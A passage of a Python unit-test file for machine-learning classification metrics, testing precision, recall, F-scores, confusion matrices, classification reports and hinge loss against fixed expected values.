    ps = precision_score(y_true, y_pred, pos_label=1, average='micro')
    assert_array_almost_equal(ps, 0.53, 2)

    rs = recall_score(y_true, y_pred, average='micro')
    assert_array_almost_equal(rs, 0.53, 2)

    fs = f1_score(y_true, y_pred, average='micro')
    assert_array_almost_equal(fs, 0.53, 2)

    ps = precision_score(y_true, y_pred, average='macro')
    assert_array_almost_equal(ps, 0.53, 2)

    rs = recall_score(y_true, y_pred, average='macro')
    assert_array_almost_equal(rs, 0.60, 2)

    fs = f1_score(y_true, y_pred, average='macro')
    assert_array_almost_equal(fs, 0.51, 2)

    ps = precision_score(y_true, y_pred, average='weighted')
    assert_array_almost_equal(ps, 0.51, 2)

    rs = recall_score(y_true, y_pred, average='weighted')
    assert_array_almost_equal(rs, 0.53, 2)

    fs = f1_score(y_true, y_pred, average='weighted')
    assert_array_almost_equal(fs, 0.47, 2)

    assert_raises(ValueError, precision_score, y_true, y_pred,
                  average="samples")
    assert_raises(ValueError, recall_score, y_true, y_pred, average="samples")
    assert_raises(ValueError, f1_score, y_true, y_pred, average="samples")
    assert_raises(ValueError, fbeta_score, y_true, y_pred, average="samples",
                  beta=0.5)

    # same prediction but with and explicit label ordering
    p, r, f, s = precision_recall_fscore_support(
        y_true, y_pred, labels=[0, 2, 1], average=None)
    assert_array_almost_equal(p, [0.83, 0.41, 0.33], 2)
    assert_array_almost_equal(r, [0.79, 0.90, 0.10], 2)
    assert_array_almost_equal(f, [0.81, 0.57, 0.15], 2)
    assert_array_equal(s, [24, 20, 31])


def test_precision_refcall_f1_score_multilabel_unordered_labels():
    # test that labels need not be sorted in the multilabel case
    y_true = np.array([[1, 1, 0, 0]])
    y_pred = np.array([[0, 0, 1, 1]])
    for average in ['samples', 'micro', 'macro', 'weighted', None]:
        p, r, f, s = precision_recall_fscore_support(
            y_true, y_pred, labels=[3, 0, 1, 2], warn_for=[], average=average)
        assert_array_equal(p, 0)
        assert_array_equal(r, 0)
        assert_array_equal(f, 0)
        if average is None:
            assert_array_equal(s, [0, 1, 1, 0])


def test_precision_recall_f1_score_multiclass_pos_label_none():
    # Test Precision Recall and F1 Score for multiclass classification task
    # GH Issue #1296
    # initialize data
    y_true = np.array([0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1])
    y_pred = np.array([1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1])

    # compute scores with default labels introspection
    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 pos_label=None,
                                                 average='macro')


def test_zero_precision_recall():
    # Check that pathological cases do not bring NaNs

    old_error_settings = np.seterr(all='raise')

    try:
        y_true = np.array([0, 1, 2, 0, 1, 2])
        y_pred = np.array([2, 0, 1, 1, 2, 0])

        assert_almost_equal(precision_score(y_true, y_pred,
                                            average='macro'), 0.0, 2)
        assert_almost_equal(recall_score(y_true, y_pred, average='macro'),
                            0.0, 2)
        assert_almost_equal(f1_score(y_true, y_pred, average='macro'),
                            0.0, 2)

    finally:
        np.seterr(**old_error_settings)


def test_confusion_matrix_multiclass():
    # Test confusion matrix - multi-class case
    y_true, y_pred, _ = make_prediction(binary=False)

    def test(y_true, y_pred, string_type=False):
        # compute confusion matrix with default labels introspection
        cm = confusion_matrix(y_true, y_pred)
        assert_array_equal(cm, [[19, 4, 1],
                                [4, 3, 24],
                                [0, 2, 18]])

        # compute confusion matrix with explicit label ordering
        labels = ['0', '2', '1'] if string_type else [0, 2, 1]
        cm = confusion_matrix(y_true,
                              y_pred,
                              labels=labels)
        assert_array_equal(cm, [[19, 1, 4],
                                [0, 18, 2],
                                [4, 24, 3]])

    test(y_true, y_pred)
    test(list(str(y) for y in y_true),
         list(str(y) for y in y_pred),
         string_type=True)


def test_confusion_matrix_sample_weight():
    """Test confusion matrix - case with sample_weight"""
    y_true, y_pred, _ = make_prediction(binary=False)

    weights = [.1] * 25 + [.2] * 25 + [.3] * 25

    cm = confusion_matrix(y_true, y_pred, sample_weight=weights)

    true_cm = (.1 * confusion_matrix(y_true[:25], y_pred[:25]) +
               .2 * confusion_matrix(y_true[25:50], y_pred[25:50]) +
               .3 * confusion_matrix(y_true[50:], y_pred[50:]))

    assert_array_almost_equal(cm, true_cm)
    assert_raises(
        ValueError, confusion_matrix, y_true, y_pred,
        sample_weight=weights[:-1])


def test_confusion_matrix_multiclass_subset_labels():
    # Test confusion matrix - multi-class case with subset of labels
    y_true, y_pred, _ = make_prediction(binary=False)

    # compute confusion matrix with only first two labels considered
    cm = confusion_matrix(y_true, y_pred, labels=[0, 1])
    assert_array_equal(cm, [[19, 4],
                            [4, 3]])

    # compute confusion matrix with explicit label ordering for only subset
    # of labels
    cm = confusion_matrix(y_true, y_pred, labels=[2, 1])
    assert_array_equal(cm, [[18, 2],
                            [24, 3]])

    # a label not in y_true should result in zeros for that row/column
    extra_label = np.max(y_true) + 1
    cm = confusion_matrix(y_true, y_pred, labels=[2, extra_label])
    assert_array_equal(cm, [[18, 0],
                            [0, 0]])

    # check for exception when none of the specified labels are in y_true
    assert_raises(ValueError, confusion_matrix, y_true, y_pred,
                  labels=[extra_label, extra_label + 1])


def test_classification_report_multiclass():
    # Test performance report
    iris = datasets.load_iris()
    y_true, y_pred, _ = make_prediction(dataset=iris, binary=False)

    # print classification report with class names
    expected_report = """\
             precision    recall  f1-score   support

     setosa       0.83      0.79      0.81        24
 versicolor       0.33      0.10      0.15        31
  virginica       0.42      0.90      0.57        20

avg / total       0.51      0.53      0.47        75
"""
    report = classification_report(
        y_true, y_pred, labels=np.arange(len(iris.target_names)),
        target_names=iris.target_names)
    assert_equal(report, expected_report)
    # print classification report with label detection
    expected_report = """\
             precision    recall  f1-score   support

          0       0.83      0.79      0.81        24
          1       0.33      0.10      0.15        31
          2       0.42      0.90      0.57        20

avg / total       0.51      0.53      0.47        75
"""
    report = classification_report(y_true, y_pred)
    assert_equal(report, expected_report)


def test_classification_report_multiclass_with_digits():
    # Test performance report with added digits in floating point values
    iris = datasets.load_iris()
    y_true, y_pred, _ = make_prediction(dataset=iris, binary=False)

    # print classification report with class names
    expected_report = """\
             precision    recall  f1-score   support

     setosa    0.82609   0.79167   0.80851        24
 versicolor    0.33333   0.09677   0.15000        31
  virginica    0.41860   0.90000   0.57143        20

avg / total    0.51375   0.53333   0.47310        75
"""
    report = classification_report(
        y_true, y_pred, labels=np.arange(len(iris.target_names)),
        target_names=iris.target_names, digits=5)
    assert_equal(report, expected_report)
    # print classification report with label detection
    expected_report = """\
             precision    recall  f1-score   support

          0       0.83      0.79      0.81        24
          1       0.33      0.10      0.15        31
          2       0.42      0.90      0.57        20

avg / total       0.51      0.53      0.47        75
"""
    report = classification_report(y_true, y_pred)
    assert_equal(report, expected_report)


def test_classification_report_multiclass_with_string_label():
    y_true, y_pred, _ = make_prediction(binary=False)

    y_true = np.array(["blue", "green", "red"])[y_true]
    y_pred = np.array(["blue", "green", "red"])[y_pred]

    expected_report = """\
             precision    recall  f1-score   support

       blue       0.83      0.79      0.81        24
      green       0.33      0.10      0.15        31
        red       0.42      0.90      0.57        20

avg / total       0.51      0.53      0.47        75
"""
    report = classification_report(y_true, y_pred)
    assert_equal(report, expected_report)

    expected_report = """\
             precision    recall  f1-score   support

          a       0.83      0.79      0.81        24
          b       0.33      0.10      0.15        31
          c       0.42      0.90      0.57        20

avg / total       0.51      0.53      0.47        75
"""
    report = classification_report(y_true, y_pred,
                                   target_names=["a", "b", "c"])
    assert_equal(report, expected_report)


def test_classification_report_multiclass_with_unicode_label():
    y_true, y_pred, _ = make_prediction(binary=False)

    labels = np.array([u"blue\xa2", u"green\xa2", u"red\xa2"])
    y_true = labels[y_true]
    y_pred = labels[y_pred]

    expected_report = u"""\
             precision    recall  f1-score   support

      blue\xa2       0.83      0.79      0.81        24
     green\xa2       0.33      0.10      0.15        31
       red\xa2       0.42      0.90      0.57        20

avg / total       0.51      0.53      0.47        75
"""
    if np_version[:3] < (1, 7, 0):
        expected_message = ("NumPy < 1.7.0 does not implement"
                            " searchsorted on unicode data correctly.")
        assert_raise_message(RuntimeError, expected_message,
                             classification_report, y_true, y_pred)
    else:
        report = classification_report(y_true, y_pred)
        assert_equal(report, expected_report)


def test_classification_report_multiclass_with_long_string_label():
    y_true, y_pred, _ = make_prediction(binary=False)

    labels = np.array(["blue", "green"*5, "red"])
    y_true = labels[y_true]
    y_pred = labels[y_pred]

    expected_report = """\
                           precision    recall  f1-score   support

                     blue       0.83      0.79      0.81        24
greengreengreengreengreen       0.33      0.10      0.15        31
                      red       0.42      0.90      0.57        20

              avg / total       0.51      0.53      0.47        75
"""

    report = classification_report(y_true, y_pred)
    assert_equal(report, expected_report)


def test_multilabel_classification_report():
    n_classes = 4
    n_samples = 50

    _, y_true = make_multilabel_classification(n_features=1,
                                               n_samples=n_samples,
                                               n_classes=n_classes,
                                               random_state=0)

    _, y_pred = make_multilabel_classification(n_features=1,
                                               n_samples=n_samples,
                                               n_classes=n_classes,
                                               random_state=1)

    expected_report = """\
             precision    recall  f1-score   support

          0       0.50      0.67      0.57        24
          1       0.51      0.74      0.61        27
          2       0.29      0.08      0.12        26
          3       0.52      0.56      0.54        27

avg / total       0.45      0.51      0.46       104
"""

    report = classification_report(y_true, y_pred)
    assert_equal(report, expected_report)


def test_multilabel_zero_one_loss_subset():
    # Dense label indicator matrix format
    y1 = np.array([[0, 1, 1], [1, 0, 1]])
    y2 = np.array([[0, 0, 1], [1, 0, 1]])

    assert_equal(zero_one_loss(y1, y2), 0.5)
    assert_equal(zero_one_loss(y1, y1), 0)
    assert_equal(zero_one_loss(y2, y2), 0)
    assert_equal(zero_one_loss(y2, np.logical_not(y2)), 1)
    assert_equal(zero_one_loss(y1, np.logical_not(y1)), 1)
    assert_equal(zero_one_loss(y1, np.zeros(y1.shape)), 1)
    assert_equal(zero_one_loss(y2, np.zeros(y1.shape)), 1)


def test_multilabel_hamming_loss():
    # Dense label indicator matrix format
    y1 = np.array([[0, 1, 1], [1, 0, 1]])
    y2 = np.array([[0, 0, 1], [1, 0, 1]])
    w = np.array([1, 3])

    assert_equal(hamming_loss(y1, y2), 1 / 6)
    assert_equal(hamming_loss(y1, y1), 0)
    assert_equal(hamming_loss(y2, y2), 0)
    assert_equal(hamming_loss(y2, 1 - y2), 1)
    assert_equal(hamming_loss(y1, 1 - y1), 1)
    assert_equal(hamming_loss(y1, np.zeros(y1.shape)), 4 / 6)
    assert_equal(hamming_loss(y2, np.zeros(y1.shape)), 0.5)
    assert_equal(hamming_loss(y1, y2, sample_weight=w), 1. / 12)
    assert_equal(hamming_loss(y1, 1-y2, sample_weight=w), 11. / 12)
    assert_equal(hamming_loss(y1, np.zeros_like(y1), sample_weight=w), 2. / 3)
    # sp_hamming only works with 1-D arrays
    assert_equal(hamming_loss(y1[0], y2[0]), sp_hamming(y1[0], y2[0]))


def test_multilabel_jaccard_similarity_score():
    # Dense label indicator matrix format
    y1 = np.array([[0, 1, 1], [1, 0, 1]])
    y2 = np.array([[0, 0, 1], [1, 0, 1]])

    # size(y1 \inter y2) = [1, 2]
    # size(y1 \union y2) = [2, 2]

    assert_equal(jaccard_similarity_score(y1, y2), 0.75)
    assert_equal(jaccard_similarity_score(y1, y1), 1)
    assert_equal(jaccard_similarity_score(y2, y2), 1)
    assert_equal(jaccard_similarity_score(y2, np.logical_not(y2)), 0)
    assert_equal(jaccard_similarity_score(y1, np.logical_not(y1)), 0)
    assert_equal(jaccard_similarity_score(y1, np.zeros(y1.shape)), 0)
    assert_equal(jaccard_similarity_score(y2, np.zeros(y1.shape)), 0)


@ignore_warnings
def test_precision_recall_f1_score_multilabel_1():
    # Test precision_recall_f1_score on a crafted multilabel example
    # First crafted example

    y_true = np.array([[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 1]])
    y_pred = np.array([[0, 1, 0, 0], [0, 1, 0, 0], [1, 0, 1, 0]])

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred, average=None)

    # tp = [0, 1, 1, 0]
    # fn = [1, 0, 0, 1]
    # fp = [1, 1, 0, 0]
    # Check per class

    assert_array_almost_equal(p, [0.0, 0.5, 1.0, 0.0], 2)
    assert_array_almost_equal(r, [0.0, 1.0, 1.0, 0.0], 2)
    assert_array_almost_equal(f, [0.0, 1 / 1.5, 1, 0.0], 2)
    assert_array_almost_equal(s, [1, 1, 1, 1], 2)

    f2 = fbeta_score(y_true, y_pred, beta=2, average=None)
    support = s
    assert_array_almost_equal(f2, [0, 0.83, 1, 0], 2)

    # Check macro
    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="macro")
    assert_almost_equal(p, 1.5 / 4)
    assert_almost_equal(r, 0.5)
    assert_almost_equal(f, 2.5 / 1.5 * 0.25)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2, average="macro"),
                        np.mean(f2))

    # Check micro
    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="micro")
    assert_almost_equal(p, 0.5)
    assert_almost_equal(r, 0.5)
    assert_almost_equal(f, 0.5)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="micro"),
                        (1 + 4) * p * r / (4 * p + r))

    # Check weighted
    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="weighted")
    assert_almost_equal(p, 1.5 / 4)
    assert_almost_equal(r, 0.5)
    assert_almost_equal(f, 2.5 / 1.5 * 0.25)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="weighted"),
                        np.average(f2, weights=support))
    # Check samples
    # |h(x_i) inter y_i | = [0, 1, 1]
    # |y_i| = [1, 1, 2]
    # |h(x_i)| = [1, 1, 2]
    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="samples")
    assert_almost_equal(p, 0.5)
    assert_almost_equal(r, 0.5)
    assert_almost_equal(f, 0.5)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2, average="samples"),
                        0.5)


@ignore_warnings
def test_precision_recall_f1_score_multilabel_2():
    # Test precision_recall_f1_score on a crafted multilabel example 2
    # Second crafted example
    y_true = np.array([[1, 0, 0, 0], [0, 1, 0, 0], [0, 1, 1, 0]])
    y_pred = np.array([[0, 0, 0, 1], [0, 0, 0, 1], [1, 1, 0, 0]])

    # tp = [ 0.  1.  0.  0.]
    # fp = [ 1.  0.  0.  2.]
    # fn = [ 1.  1.  1.  0.]

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average=None)
    assert_array_almost_equal(p, [0.0, 1.0, 0.0, 0.0], 2)
    assert_array_almost_equal(r, [0.0, 0.5, 0.0, 0.0], 2)
    assert_array_almost_equal(f, [0.0, 0.66, 0.0, 0.0], 2)
    assert_array_almost_equal(s, [1, 2, 1, 0], 2)

    f2 = fbeta_score(y_true, y_pred, beta=2, average=None)
    support = s
    assert_array_almost_equal(f2, [0, 0.55, 0, 0], 2)

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="micro")
    assert_almost_equal(p, 0.25)
    assert_almost_equal(r, 0.25)
    assert_almost_equal(f, 2 * 0.25 * 0.25 / 0.5)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="micro"),
                        (1 + 4) * p * r / (4 * p + r))

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="macro")
    assert_almost_equal(p, 0.25)
    assert_almost_equal(r, 0.125)
    assert_almost_equal(f, 2 / 12)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="macro"),
                        np.mean(f2))

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="weighted")
    assert_almost_equal(p, 2 / 4)
    assert_almost_equal(r, 1 / 4)
    assert_almost_equal(f, 2 / 3 * 2 / 4)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="weighted"),
                        np.average(f2, weights=support))

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="samples")
    # Check samples
    # |h(x_i) inter y_i | = [0, 0, 1]
    # |y_i| = [1, 1, 2]
    # |h(x_i)| = [1, 1, 2]

    assert_almost_equal(p, 1 / 6)
    assert_almost_equal(r, 1 / 6)
    assert_almost_equal(f, 2 / 4 * 1 / 3)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="samples"),
                        0.1666, 2)


@ignore_warnings
def test_precision_recall_f1_score_with_an_empty_prediction():
    y_true = np.array([[0, 1, 0, 0], [1, 0, 0, 0], [0, 1, 1, 0]])
    y_pred = np.array([[0, 0, 0, 0], [0, 0, 0, 1], [0, 1, 1, 0]])

    # true_pos = [ 0.  1.  1.  0.]
    # false_pos = [ 0.  0.  0.  1.]
    # false_neg = [ 1.  1.  0.  0.]
    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average=None)
    assert_array_almost_equal(p, [0.0, 1.0, 1.0, 0.0], 2)
    assert_array_almost_equal(r, [0.0, 0.5, 1.0, 0.0], 2)
    assert_array_almost_equal(f, [0.0, 1 / 1.5, 1, 0.0], 2)
    assert_array_almost_equal(s, [1, 2, 1, 0], 2)

    f2 = fbeta_score(y_true, y_pred, beta=2, average=None)
    support = s
    assert_array_almost_equal(f2, [0, 0.55, 1, 0], 2)

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="macro")
    assert_almost_equal(p, 0.5)
    assert_almost_equal(r, 1.5 / 4)
    assert_almost_equal(f, 2.5 / (4 * 1.5))
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="macro"),
                        np.mean(f2))

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="micro")
    assert_almost_equal(p, 2 / 3)
    assert_almost_equal(r, 0.5)
    assert_almost_equal(f, 2 / 3 / (2 / 3 + 0.5))
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="micro"),
                        (1 + 4) * p * r / (4 * p + r))

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="weighted")
    assert_almost_equal(p, 3 / 4)
    assert_almost_equal(r, 0.5)
    assert_almost_equal(f, (2 / 1.5 + 1) / 4)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="weighted"),
                        np.average(f2, weights=support))

    p, r, f, s = precision_recall_fscore_support(y_true, y_pred,
                                                 average="samples")
    # |h(x_i) inter y_i | = [0, 0, 2]
    # |y_i| = [1, 1, 2]
    # |h(x_i)| = [0, 1, 2]
    assert_almost_equal(p, 1 / 3)
    assert_almost_equal(r, 1 / 3)
    assert_almost_equal(f, 1 / 3)
    assert_equal(s, None)
    assert_almost_equal(fbeta_score(y_true, y_pred, beta=2,
                                    average="samples"),
                        0.333, 2)


def test_precision_recall_f1_no_labels():
    y_true = np.zeros((20, 3))
    y_pred = np.zeros_like(y_true)

    # tp = [0, 0, 0]
    # fn = [0, 0, 0]
    # fp = [0, 0, 0]
    # support = [0, 0, 0]
    # |y_hat_i inter y_i | = [0, 0, 0]
    # |y_i| = [0, 0, 0]
    # |y_hat_i| = [0, 0, 0]

    for beta in [1]:
        p, r, f, s = assert_warns(UndefinedMetricWarning,
                                  precision_recall_fscore_support,
                                  y_true, y_pred, average=None, beta=beta)
        assert_array_almost_equal(p, [0, 0, 0], 2)
        assert_array_almost_equal(r, [0, 0, 0], 2)
        assert_array_almost_equal(f, [0, 0, 0], 2)
        assert_array_almost_equal(s, [0, 0, 0], 2)

        fbeta = assert_warns(UndefinedMetricWarning, fbeta_score,
                             y_true, y_pred, beta=beta, average=None)
        assert_array_almost_equal(fbeta, [0, 0, 0], 2)

        for average in ["macro", "micro", "weighted", "samples"]:
            p, r, f, s = assert_warns(UndefinedMetricWarning,
                                      precision_recall_fscore_support,
                                      y_true, y_pred, average=average,
                                      beta=beta)
            assert_almost_equal(p, 0)
            assert_almost_equal(r, 0)
            assert_almost_equal(f, 0)
            assert_equal(s, None)

            fbeta = assert_warns(UndefinedMetricWarning, fbeta_score,
                                 y_true, y_pred,
                                 beta=beta, average=average)
            assert_almost_equal(fbeta, 0)


def test_prf_warnings():
    # average of per-label scores
    f, w = precision_recall_fscore_support, UndefinedMetricWarning
    my_assert = assert_warns_message
    for average in [None, 'weighted', 'macro']:
        msg = ('Precision and F-score are ill-defined and '
               'being set to 0.0 in labels with no predicted samples.')
        my_assert(w, msg, f, [0, 1, 2], [1, 1, 2], average=average)

        msg = ('Recall and F-score are ill-defined and '
               'being set to 0.0 in labels with no true samples.')
        my_assert(w, msg, f, [1, 1, 2], [0, 1, 2], average=average)

        # average of per-sample scores
        msg = ('Precision and F-score are ill-defined and '
               'being set to 0.0 in samples with no predicted labels.')
        my_assert(w, msg, f, np.array([[1, 0], [1, 0]]),
                  np.array([[1, 0], [0, 0]]), average='samples')

        msg = ('Recall and F-score are ill-defined and '
               'being set to 0.0 in samples with no true labels.')
        my_assert(w, msg, f, np.array([[1, 0], [0, 0]]),
                  np.array([[1, 0], [1, 0]]),
                  average='samples')

        # single score: micro-average
        msg = ('Precision and F-score are ill-defined and '
               'being set to 0.0 due to no predicted samples.')
        my_assert(w, msg, f, np.array([[1, 1], [1, 1]]),
                  np.array([[0, 0], [0, 0]]), average='micro')

        msg = ('Recall and F-score are ill-defined and '
               'being set to 0.0 due to no true samples.')
        my_assert(w, msg, f, np.array([[0, 0], [0, 0]]),
                  np.array([[1, 1], [1, 1]]), average='micro')

        # single postive label
        msg = ('Precision and F-score are ill-defined and '
               'being set to 0.0 due to no predicted samples.')
        my_assert(w, msg, f, [1, 1], [-1, -1], average='macro')

        msg = ('Recall and F-score are ill-defined and '
               'being set to 0.0 due to no true samples.')
        my_assert(w, msg, f, [-1, -1], [1, 1], average='macro')


def test_recall_warnings():
    assert_no_warnings(recall_score,
                       np.array([[1, 1], [1, 1]]),
                       np.array([[0, 0], [0, 0]]),
                       average='micro')
    clean_warning_registry()
    with warnings.catch_warnings(record=True) as record:
        warnings.simplefilter('always')
        recall_score(np.array([[0, 0], [0, 0]]),
                     np.array([[1, 1], [1, 1]]),
                     average='micro')
        assert_equal(str(record.pop().message),
                     'Recall is ill-defined and '
                     'being set to 0.0 due to no true samples.')


def test_precision_warnings():
    clean_warning_registry()
    with warnings.catch_warnings(record=True) as record:
        warnings.simplefilter('always')

        precision_score(np.array([[1, 1], [1, 1]]),
                        np.array([[0, 0], [0, 0]]),
                        average='micro')
        assert_equal(str(record.pop().message),
                     'Precision is ill-defined and '
                     'being set to 0.0 due to no predicted samples.')

    assert_no_warnings(precision_score,
                       np.array([[0, 0], [0, 0]]),
                       np.array([[1, 1], [1, 1]]),
                       average='micro')


def test_fscore_warnings():
    clean_warning_registry()
    with warnings.catch_warnings(record=True) as record:
        warnings.simplefilter('always')

        for score in [f1_score, partial(fbeta_score, beta=2)]:
            score(np.array([[1, 1], [1, 1]]),
                  np.array([[0, 0], [0, 0]]),
                  average='micro')
            assert_equal(str(record.pop().message),
                         'F-score is ill-defined and '
                         'being set to 0.0 due to no predicted samples.')
            score(np.array([[0, 0], [0, 0]]),
                  np.array([[1, 1], [1, 1]]),
                  average='micro')
            assert_equal(str(record.pop().message),
                         'F-score is ill-defined and '
                         'being set to 0.0 due to no true samples.')


def test_prf_average_compat():
    # Ensure warning if f1_score et al.'s average is implicit for multiclass
    y_true = [1, 2, 3, 3]
    y_pred = [1, 2, 3, 1]
    y_true_bin = [0, 1, 1]
    y_pred_bin = [0, 1, 0]

    for metric in [precision_score, recall_score, f1_score,
                   partial(fbeta_score, beta=2)]:
        score = assert_warns(DeprecationWarning, metric, y_true, y_pred)
        score_weighted = assert_no_warnings(metric, y_true, y_pred,
                                            average='weighted')
        assert_equal(score, score_weighted,
                     'average does not act like "weighted" by default')

        # check binary passes without warning
        assert_no_warnings(metric, y_true_bin, y_pred_bin)

        # but binary with pos_label=None should behave like multiclass
        score = assert_warns(DeprecationWarning, metric,
                             y_true_bin, y_pred_bin, pos_label=None)
        score_weighted = assert_no_warnings(metric, y_true_bin, y_pred_bin,
                                            pos_label=None, average='weighted')
        assert_equal(score, score_weighted,
                     'average does not act like "weighted" by default with '
                     'binary data and pos_label=None')


def test__check_targets():
    # Check that _check_targets correctly merges target types, squeezes
    # output and fails if input lengths differ.
    IND = 'multilabel-indicator'
    MC = 'multiclass'
    BIN = 'binary'
    CNT = 'continuous'
    MMC = 'multiclass-multioutput'
    MCN = 'continuous-multioutput'
    # all of length 3
    EXAMPLES = [
        (IND, np.array([[0, 1, 1], [1, 0, 0], [0, 0, 1]])),
        # must not be considered binary
        (IND, np.array([[0, 1], [1, 0], [1, 1]])),
        (MC, [2, 3, 1]),
        (BIN, [0, 1, 1]),
        (CNT, [0., 1.5, 1.]),
        (MC, np.array([[2], [3], [1]])),
        (BIN, np.array([[0], [1], [1]])),
        (CNT, np.array([[0.], [1.5], [1.]])),
        (MMC, np.array([[0, 2], [1, 3], [2, 3]])),
        (MCN, np.array([[0.5, 2.], [1.1, 3.], [2., 3.]])),
    ]
    # expected type given input types, or None for error
    # (types will be tried in either order)
    EXPECTED = {
        (IND, IND): IND,
        (MC, MC): MC,
        (BIN, BIN): BIN,

        (MC, IND): None,
        (BIN, IND): None,
        (BIN, MC): MC,

        # Disallowed types
        (CNT, CNT): None,
        (MMC, MMC): None,
        (MCN, MCN): None,
        (IND, CNT): None,
        (MC, CNT): None,
        (BIN, CNT): None,
        (MMC, CNT): None,
        (MCN, CNT): None,
        (IND, MMC): None,
        (MC, MMC): None,
        (BIN, MMC): None,
        (MCN, MMC): None,
        (IND, MCN): None,
        (MC, MCN): None,
        (BIN, MCN): None,
    }

    for (type1, y1), (type2, y2) in product(EXAMPLES, repeat=2):
        try:
            expected = EXPECTED[type1, type2]
        except KeyError:
            expected = EXPECTED[type2, type1]
        if expected is None:
            assert_raises(ValueError, _check_targets, y1, y2)

            if type1 != type2:
                assert_raise_message(
                    ValueError,
                    "Can't handle mix of {0} and {1}".format(type1, type2),
                    _check_targets, y1, y2)

            else:
                if type1 not in (BIN, MC, IND):
                    assert_raise_message(ValueError,
                                         "{0} is not supported".format(type1),
                                         _check_targets, y1, y2)

        else:
            merged_type, y1out, y2out = _check_targets(y1, y2)
            assert_equal(merged_type, expected)
            if merged_type.startswith('multilabel'):
                assert_equal(y1out.format, 'csr')
                assert_equal(y2out.format, 'csr')
            else:
                assert_array_equal(y1out, np.squeeze(y1))
                assert_array_equal(y2out, np.squeeze(y2))
            assert_raises(ValueError, _check_targets, y1[:-1], y2)

    # Make sure seq of seq is not supported
    y1 = [(1, 2,), (0, 2, 3)]
    y2 = [(2,), (0, 2,)]
    msg = ('You appear to be using a legacy multi-label data representation. '
           'Sequence of sequences are no longer supported; use a binary array'
           ' or sparse matrix instead.')
    assert_raise_message(ValueError, msg, _check_targets, y1, y2)


def test_hinge_loss_binary():
    y_true = np.array([-1, 1, 1, -1])
    pred_decision = np.array([-8.5, 0.5, 1.5, -0.3])
    assert_equal(hinge_loss(y_true, pred_decision), 1.2 / 4)

    y_true = np.array([0, 2, 2, 0])
    pred_decision = np.array([-8.5, 0.5, 1.5, -0.3])
    assert_equal(hinge_loss(y_true, pred_decision), 1.2 / 4)


def test_hinge_loss_multiclass():
    pred_decision = np.array([
        [+0.36, -0.17, -0.58, -0.99],
        [-0.54, -0.37, -0.48, -0.58],
        [-1.45, -0.58, -0.38, -0.17],
        [-0.54, -0.38, -0.48, -0.58],
        [-2.36, -0.79, -0.27, +0.24],
        [-1.45, -0.58, -0.38, -0.17]
    ])
    y_true = np.array([0, 1, 2, 1, 3, 2])
    dummy_losses = np.array([
        1 - pred_decision[0][0] + pred_decision[0][1],
        1 - pred_decision[1][1] + pred_decision[1][2],
        1 - pred_decision[2][2] + pred_decision[2][3],
        1 - pred_decision[3][1] + pred_decision[3][2],
        1 - pred_decision[4][3] + pred_decision[4][2],
        1 - pred_decision[5][2] + pred_decision[5][3]
    ])
    dummy_losses[dummy_losses <= 0] = 0
    dummy_hinge_loss = np.mean(dummy_losses)
    assert_equal(hinge_loss(y_true, pred_decision),
                 dummy_hinge_loss)


def test_hinge_loss_multiclass_missing_labels_with_labels_none():
    y_true = np.array([0, 1, 2, 2])
    pred_decision = np.array([
        [+1.27, 0.034, -0.68, -1.40],
        [-1.45, -0.58, -0.38, -0.17],
        [-2.36, -0.79, -0.27, +0.24],
        [-2.36, -0.79, -0.27, +0.24]
    ])
    error_message = ("Please include all labels in y_true "
                     "or pass labels as third argument")
    assert_raise_message(ValueError,
                         error_message,
                         hinge_loss, y_true, pred_decision)


def test_hinge_loss_multiclass_with_missing_labels():
    pred_decision = np.array([
        [+0.36, -0.17, -0.58, -0.99],
        [-0.55, -0.38, -0.48, -0.58],
        [-1.45, -0.58, -0.38, -0.17],
        [-0.55, -0.38, -0.48, -0.58],
        [-1.45, -0.58, -0.38, -0.17]
    ])
    y_true = np.array([0, 1, 2, 1, 2])
    labels = np.array([0, 1, 2, 3])
    dummy_losses = np.array([
        1 - pred_decision[0][0] + pred_decision[0][1],
        1 - pred_decision[1][1] + pred_decision[1][2],
        1 - pred_decision[2][2] + pred_decision[2][3],
        1 - pred_decision[3][1] + pred_decision[3][2],
        1 - pred_decision[4][2] + pred_decision[4][3]
    ])
    dummy_losses[dummy_losses <= 0] = 0
    dummy_hinge_loss = np.mean(dummy_losses)
    assert_equal(hinge_loss(y_true, pred_decision, labels=labels),
                 dummy_hinge_loss)


def test_hinge_loss_multiclass_invariance_lists():
    # Currently, invariance of string and integer labels cannot be tested
